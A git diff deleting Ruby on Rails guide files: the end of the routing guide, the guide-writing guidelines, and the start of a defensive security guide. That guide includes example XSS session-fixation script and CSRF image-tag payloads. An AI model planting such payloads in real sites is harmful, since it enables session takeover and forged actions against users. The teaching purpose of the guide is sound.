-If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +PhotosController+, and to make the final parameter +"1"+ available as +params[:id]+. This route will also route the incoming request of +/photos+ to +PhotosController#index+, since +:action+ and +:id+ are optional parameters, denoted by parentheses.
-
-h4. Dynamic Segments
-
-You can set up as many dynamic segments within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the action as part of +params+. If you set up this route:
-
-<ruby>
-match ':controller/:action/:id/:user_id'
-</ruby>
-
-An incoming path of +/photos/show/1/2+ will be dispatched to the +show+ action of the +PhotosController+. +params[:id]+ will be +"1"+, and +params[:user_id]+ will be +"2"+.
-
-NOTE: You can't use +namespace+ or +:module+ with a +:controller+ path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
-
-<ruby>
-match ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
-</ruby>
-
-TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash.
-
-h4. Static Segments
-
-You can specify static segments when creating a route:
-
-<ruby>
-match ':controller/:action/:id/with_user/:user_id'
-</ruby>
-
-This route would respond to paths such as +/photos/show/1/with_user/2+. In this case, +params+ would be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-
-h4. The Query String
-
-The +params+ will also include any parameters from the query string. For example, with this route:
-
-<ruby>
-match ':controller/:action/:id'
-</ruby>
-
-An incoming path of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params+ will be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-
-h4. Defining Defaults
-
-You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply them as defaults:
-
-<ruby>
-match 'photos/:id' => 'photos#show'
-</ruby>
-
-With this route, Rails will match an incoming path of +/photos/12+ to the +show+ action of +PhotosController+.
-
-You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that you do not specify as dynamic segments. For example:
-
-<ruby>
-match 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
-</ruby>
-
-Rails would match +photos/12+ to the +show+ action of +PhotosController+, and set +params[:format]+ to +"jpg"+.
-
-h4. Naming Routes
-
-You can specify a name for any route using the +:as+ option.
-
-<ruby>
-match 'exit' => 'sessions#destroy', :as => :logout
-</ruby>
-
-This will create +logout_path+ and +logout_url+ as named helpers in your application. Calling +logout_path+ will return +/exit+
-
-h4. HTTP Verb Constraints
-
-You can use the +:via+ option to constrain the request to one or more HTTP methods:
-
-<ruby>
-match 'photos/show' => 'photos#show', :via => :get
-</ruby>
-
-There is a shorthand version of this as well:
-
-<ruby>
-get 'photos/show'
-</ruby>
-
-You can also permit more than one verb to a single route:
-
-<ruby>
-match 'photos/show' => 'photos#show', :via => [:get, :post]
-</ruby>
-
-h4. Segment Constraints
-
-You can use the +:constraints+ option to enforce a format for a dynamic segment:
-
-<ruby>
-match 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ }
-</ruby>
-
-This route would match paths such as +/photos/A12345+. You can more succinctly express the same route this way:
-
-<ruby>
-match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
-</ruby>
-
-+:constraints+ takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
-
-<ruby>
-match '/:id' => 'posts#show', :constraints => {:id => /^\d/}
-</ruby>
-
-However, note that you don't need to use anchors because all routes are anchored at the start.
-
-For example, the following routes would allow for +posts+ with +to_param+ values like +1-hello-world+ that always begin with a number and +users+ with +to_param+ values like +david+ that never begin with a number to share the root namespace:
-
-<ruby>
-match '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
-match '/:username' => 'users#show'
-</ruby>
-
-h4. Request-Based Constraints
-
-You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a +String+.
-
-You specify a request-based constraint the same way that you specify a segment constraint:
-
-<ruby>
-match "photos", :constraints => {:subdomain => "admin"}
-</ruby>
-
-You can also specify constraints in a block form:
-
-<ruby>
-namespace :admin do
-  constraints :subdomain => "admin" do
-    resources :photos
-  end
-end
-</ruby>
-
-h4. Advanced Constraints
-
-If you have a more advanced constraint, you can provide an object that responds to +matches?+ that Rails should use. Let's say you wanted to route all users on a blacklist to the +BlacklistController+. You could do:
-
-<ruby>
-class BlacklistConstraint
-  def initialize
-    @ips = Blacklist.retrieve_ips
-  end
-
-  def matches?(request)
-    @ips.include?(request.remote_ip)
-  end
-end
-
-TwitterClone::Application.routes.draw do
-  match "*path" => "blacklist#index",
-    :constraints => BlacklistConstraint.new
-end
-</ruby>
-
-h4. Route Globbing
-
-Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
-
-<ruby>
-match 'photos/*other' => 'photos#unknown'
-</ruby>
-
-This route would match +photos/12+ or +/photos/long/path/to/12+, setting +params[:other]+ to +"12"+ or +"long/path/to/12"+.
-
-Wildcard segments can occur anywhere in a route. For example,
-
-<ruby>
-match 'books/*section/:title' => 'books#show'
-</ruby>
-
-would match +books/some/section/last-words-a-memoir+ with +params[:section]+ equals +"some/section"+, and +params[:title]+ equals +"last-words-a-memoir"+.
-
-Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example,
-
-<ruby>
-match '*a/foo/*b' => 'test#index'
-</ruby>
-
-would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +params[:b]+ equals +"bar/baz"+.
-
-NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route:
-
-<ruby>
-match '*pages' => 'pages#show'
-</ruby>
-
-NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this:
-
-<ruby>
-match '*pages' => 'pages#show', :format => false
-</ruby>
-
-NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this:
-
-<ruby>
-match '*pages' => 'pages#show', :format => true
-</ruby>
-
-h4. Redirection
-
-You can redirect any path to another path using the +redirect+ helper in your router:
-
-<ruby>
-match "/stories" => redirect("/posts")
-</ruby>
-
-You can also reuse dynamic segments from the match in the path to redirect to:
-
-<ruby>
-match "/stories/:name" => redirect("/posts/%{name}")
-</ruby>
-
-You can also provide a block to redirect, which receives the params and (optionally) the request object:
-
-<ruby>
-match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" }
-match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
-</ruby>
-
-Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
-
-In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request.
-
-h4. Routing to Rack Applications
-
-Instead of a String, like +"posts#index"+, which corresponds to the +index+ action in the +PostsController+, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.
-
-<ruby>
-match "/application.js" => Sprockets
-</ruby>
-
-As long as +Sprockets+ responds to +call+ and returns a <tt>[status, headers, body]</tt>, the router won't know the difference between the Rack application and an action.
-
-NOTE: For the curious, +"posts#index"+ actually expands out to +PostsController.action(:index)+, which returns a valid Rack application.
-
-h4. Using +root+
-
-You can specify what Rails should route +"/"+ to with the +root+ method:
-
-<ruby>
-root :to => 'pages#main'
-</ruby>
-
-You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect.
-
-h3. Customizing Resourceful Routes
-
-While the default routes and helpers generated by +resources :posts+ will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
-
-h4. Specifying a Controller to Use
-
-The +:controller+ option lets you explicitly specify a controller to use for the resource. For example:
-
-<ruby>
-resources :photos, :controller => "images"
-</ruby>
-
-will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller:
-
-|_.HTTP Verb |_.Path           |_.action |_.named helper        |
-|GET         |/photos          |index    | photos_path          |
-|GET         |/photos/new      |new      | new_photo_path       |
-|POST        |/photos          |create   | photos_path          |
-|GET         |/photos/:id      |show     | photo_path(:id)      |
-|GET         |/photos/:id/edit |edit     | edit_photo_path(:id) |
-|PUT         |/photos/:id      |update   | photo_path(:id)      |
-|DELETE      |/photos/:id      |destroy  | photo_path(:id)      |
-
-NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource.
-
-h4. Specifying Constraints
-
-You can use the +:constraints+ option to specify a required format on the implicit +id+. For example:
-
-<ruby>
-resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/}
-</ruby>
-
-This declaration constraints the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match.
-
-You can specify a single constraint to apply to a number of routes by using the block form:
-
-<ruby>
-constraints(:id => /[A-Z][A-Z][0-9]+/) do
-  resources :photos
-  resources :accounts
-end
-</ruby>
-
-NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
-
-TIP: By default the +:id+ parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an +:id+ add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash.
-
-h4. Overriding the Named Helpers
-
-The +:as+ option lets you override the normal naming for the named route helpers. For example:
-
-<ruby>
-resources :photos, :as => "images"
-</ruby>
-
-will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers.
-
-|_.HTTP verb|_.Path            |_.action |_.named helper        |
-|GET        |/photos           |index    | images_path          |
-|GET        |/photos/new       |new      | new_image_path       |
-|POST       |/photos           |create   | images_path          |
-|GET        |/photos/:id       |show     | image_path(:id)      |
-|GET        |/photos/:id/edit  |edit     | edit_image_path(:id) |
-|PUT        |/photos/:id       |update   | image_path(:id)      |
-|DELETE     |/photos/:id       |destroy  | image_path(:id)      |
-
-h4. Overriding the +new+ and +edit+ Segments
-
-The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in paths:
-
-<ruby>
-resources :photos, :path_names => { :new => 'make', :edit => 'change' }
-</ruby>
-
-This would cause the routing to recognize paths such as
-
-<plain>
-/photos/make
-/photos/1/change
-</plain>
-
-NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the +new+ and +edit+ actions.
-
-TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
-
-<ruby>
-scope :path_names => { :new => "make" } do
-  # rest of your routes
-end
-</ruby>
-
-h4. Prefixing the Named Route Helpers
-
-You can use the +:as+ option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.
-
-<ruby>
-scope "admin" do
-  resources :photos, :as => "admin_photos"
-end
-
-resources :photos
-</ruby>
-
-This will provide route helpers such as +admin_photos_path+, +new_admin_photo_path+ etc.
-
-To prefix a group of route helpers, use +:as+ with +scope+:
-
-<ruby>
-scope "admin", :as => "admin" do
-  resources :photos, :accounts
-end
-
-resources :photos, :accounts
-</ruby>
-
-This will generate routes such as +admin_photos_path+ and +admin_accounts_path+ which map to +/admin/photos+ and +/admin/accounts+ respectively.
-
-NOTE: The +namespace+ scope will automatically add +:as+ as well as +:module+ and +:path+ prefixes.
-
-You can prefix routes with a named parameter also:
-
-<ruby>
-scope ":username" do
-  resources :posts
-end
-</ruby>
-
-This will provide you with URLs such as +/bob/posts/1+ and will allow you to reference the +username+ part of the path as +params[:username]+ in controllers, helpers and views.
-
-h4. Restricting the Routes Created
-
-By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option tells Rails to create only the specified routes:
-
-<ruby>
-resources :photos, :only => [:index, :show]
-</ruby>
-
-Now, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the +create+ action) will fail.
-
-The +:except+ option specifies a route or list of routes that Rails should _not_ create:
-
-<ruby>
-resources :photos, :except => :destroy
-</ruby>
-
-In this case, Rails will create all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/:id+).
-
-TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
-
-h4. Translated Paths
-
-Using +scope+, we can alter path names generated by resources:
-
-<ruby>
-scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do
-  resources :categories, :path => "kategorien"
-end
-</ruby>
-
-Rails now creates routes to the +CategoriesController+.
-
-|_.HTTP verb|_.Path                     |_.action |_.named helper           |
-|GET        |/kategorien                |index    | categories_path         |
-|GET        |/kategorien/neu            |new      | new_category_path       |
-|POST       |/kategorien                |create   | categories_path         |
-|GET        |/kategorien/:id            |show     | category_path(:id)      |
-|GET        |/kategorien/:id/bearbeiten |edit     | edit_category_path(:id) |
-|PUT        |/kategorien/:id            |update   | category_path(:id)      |
-|DELETE     |/kategorien/:id            |destroy  | category_path(:id)      |
-
-h4. Overriding the Singular Form
-
-If you want to define the singular form of a resource, you should add additional rules to the +Inflector+.
-
-<ruby>
-ActiveSupport::Inflector.inflections do |inflect|
-  inflect.irregular 'tooth', 'teeth'
-end
-</ruby>
-
-h4(#nested-names). Using +:as+ in Nested Resources
-
-The +:as+ option overrides the automatically-generated name for the resource in nested route helpers. For example,
-
-<ruby>
-resources :magazines do
-  resources :ads, :as => 'periodical_ads'
-end
-</ruby>
-
-This will create routing helpers such as +magazine_periodical_ads_url+ and +edit_magazine_periodical_ad_path+.
-
-h3. Inspecting and Testing Routes
-
-Rails offers facilities for inspecting and testing your routes.
-
-h4. Seeing Existing Routes with +rake+
-
-If you want a complete list of all of the available routes in your application, run +rake routes+ command. This will print all of your routes, in the same order that they appear in +routes.rb+. For each route, you'll see:
-
-* The route name (if any)
-* The HTTP verb used (if the route doesn't respond to all verbs)
-* The URL pattern to match
-* The routing parameters for the route
-
-For example, here's a small section of the +rake routes+ output for a RESTful route:
-
-<pre>
-    users GET    /users(.:format)          users#index
-          POST   /users(.:format)          users#create
- new_user GET    /users/new(.:format)      users#new
-edit_user GET    /users/:id/edit(.:format) users#edit
-</pre>
-
-You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable:
-
-<shell>
-$ CONTROLLER=users rake routes
-</shell>
-
-TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
-
-h4. Testing Routes
-
-Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html designed to make testing routes simpler:
-
-* +assert_generates+
-* +assert_recognizes+
-* +assert_routing+
-
-h5. The +assert_generates+ Assertion
-
-+assert_generates+ asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.
-
-<ruby>
-assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
-assert_generates "/about", :controller => "pages", :action => "about"
-</ruby>
-
-h5. The +assert_recognizes+ Assertion
-
-+assert_recognizes+ is the inverse of +assert_generates+. It asserts that a given path is recognized and routes it to a particular spot in your application.
-
-<ruby>
-assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
-</ruby>
-
-You can supply a +:method+ argument to specify the HTTP verb:
-
-<ruby>
-assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
-</ruby>
-
-h5. The +assert_routing+ Assertion
-
-The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
-
-<ruby>
-assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
-</ruby>
diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
deleted file mode 100644
index 29aefd25f8..0000000000
--- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile
+++ /dev/null
@@ -1,79 +0,0 @@
-h2. Ruby on Rails Guides Guidelines
-
-This guide documents guidelines for writing guides. This guide follows itself in a gracile loop.
-
-endprologue.
-
-h3. Textile
-
-Guides are written in "Textile":http://www.textism.com/tools/textile/. There's comprehensive documentation "here":http://redcloth.org/hobix.com/textile/ and a cheatsheet for markup "here":http://redcloth.org/hobix.com/textile/quick.html.
-
-h3. Prologue
-
-Each guide should start with motivational text at the top (that's the little introduction in the blue area.) The prologue should tell the reader what the guide is about, and what they will learn. See for example the "Routing Guide":routing.html.
-
-h3. Titles
-
-The title of every guide uses +h2+, guide sections use +h3+, subsections +h4+, etc.
-
-Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
-
-<plain>
-h5. Middleware Stack is an Array
-h5. When are Objects Saved?
-</plain>
-
-Use the same typography as in regular text:
-
-<plain>
-h6. The <tt>:content_type</tt> Option
-</plain>
-
-h3. API Documentation Guidelines
-
-The guides and the API should be coherent where appropriate. Please have a look at these particular sections of the "API Documentation Guidelines":api_documentation_guidelines.html:
-
-* "Wording":api_documentation_guidelines.html#wording
-* "Example Code":api_documentation_guidelines.html#example-code
-* "Filenames":api_documentation_guidelines.html#filenames
-* "Fonts":api_documentation_guidelines.html#fonts
-
-Those guidelines apply also to guides.
-
-h3. HTML Generation
-
-To generate all the guides, just +cd+ into the +railties+ directory and execute:
-
-<plain>
-bundle exec rake generate_guides
-</plain>
-
-(You may need to run +bundle install+ first to install the required gems.)
-
-To process +my_guide.textile+ and nothing else use the +ONLY+ environment variable:
-
-<plain>
-bundle exec rake generate_guides ONLY=my_guide
-</plain>
-
-By default, guides that have not been modified are not processed, so +ONLY+ is rarely needed in practice.
-
-To force process of all the guides, pass +ALL=1+.
-
-It is also recommended that you work with +WARNINGS=1+. This detects duplicate IDs and warns about broken internal links.
-
-If you want to generate guides in languages other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable:
-
-<plain>
-bundle exec rake generate_guides GUIDES_LANGUAGE=es
-</plain>
-
-h3. HTML Validation
-
-Please validate the generated HTML with:
-
-<plain>
-bundle exec rake validate_guides
-</plain>
-
-Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them.
diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile
deleted file mode 100644
index c2ef7bf9b5..0000000000
--- a/railties/guides/source/security.textile
+++ /dev/null
@@ -1,1004 +0,0 @@
-h2. Ruby On Rails Security Guide
-
-This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
-mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
-
-* All countermeasures _(highlight)that are highlighted_
-* The concept of sessions in Rails, what to put in there and popular attack methods
-* How just visiting a site can be a security problem (with CSRF)
-* What you have to pay attention to when working with files or providing an administration interface
-* The Rails-specific mass assignment problem
-* How to manage users: Logging in and out and attack methods on all layers
-* And the most popular injection attack methods
-
-endprologue.
-
-h3. Introduction
-
-Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
-
-In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
-
-The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
-
-The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
-
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
-
-h3. Sessions
-
-A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
-
-h4. What are Sessions?
-
--- _HTTP is a stateless protocol. Sessions make it stateful._
-
-Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
-Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
-
-A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
-
-<ruby>
-session[:user_id] = @current_user.id
-User.find(session[:user_id])
-</ruby>
-
-h4. Session id
-
--- _The session id is a 32 byte long MD5 hash value._
-
-A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
-
-h4. Session Hijacking
-
--- _Stealing a user's session id lets an attacker use the web application in the victim's name._
-
-Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
-
-Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
-
-* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
-
-<ruby>
-config.force_ssl = true
-</ruby>
-
-* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
-
-* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
-
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
-
-h4. Session Guidelines
-
--- _Here are some general guidelines on sessions._
-
-* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
-This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-
-* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-
-h4. Session Storage
-
--- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._
-
-There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
-
-Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
-
-* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
-
-* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
-
-<ruby>
-config.action_dispatch.session = {
-  :key    => '_app_session',
-  :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
-}
-</ruby>
-
-There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
-
-h4. Replay Attacks for CookieStore Sessions
-
--- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
-
-It works like this:
-
-* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
-* The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
-
-Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
-
-The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
-
-h4. Session Fixation
-
--- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
-
-!images/session_fixation.png(Session fixation)!
-
-This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-
-# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
-# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
-# As the new trap session is unused, the web application will require the user to authenticate.
-# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-
-h4. Session Fixation – Countermeasures
-
--- _One line of code will protect you from session fixation._
-
-The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
-
-<ruby>
-reset_session
-</ruby>
-
-If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
-
-Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
-
-h4. Session Expiry
-
--- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
-
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
-
-<ruby>
-class Session < ActiveRecord::Base
-  def self.sweep(time = 1.hour)
-    if time.is_a?(String)
-      time = time.split.inject { |count, unit| count.to_i.send(unit) }
-    end
-
-    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
-  end
-end
-</ruby>
-
-The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
-
-<ruby>
-delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
-  created_at < '#{2.days.ago.to_s(:db)}'"
-</ruby>
-
-h3. Cross-Site Request Forgery (CSRF)
-
--- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
-
-!images/csrf.png!
-
-In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
-
-* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-* +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
-* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
-* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
-
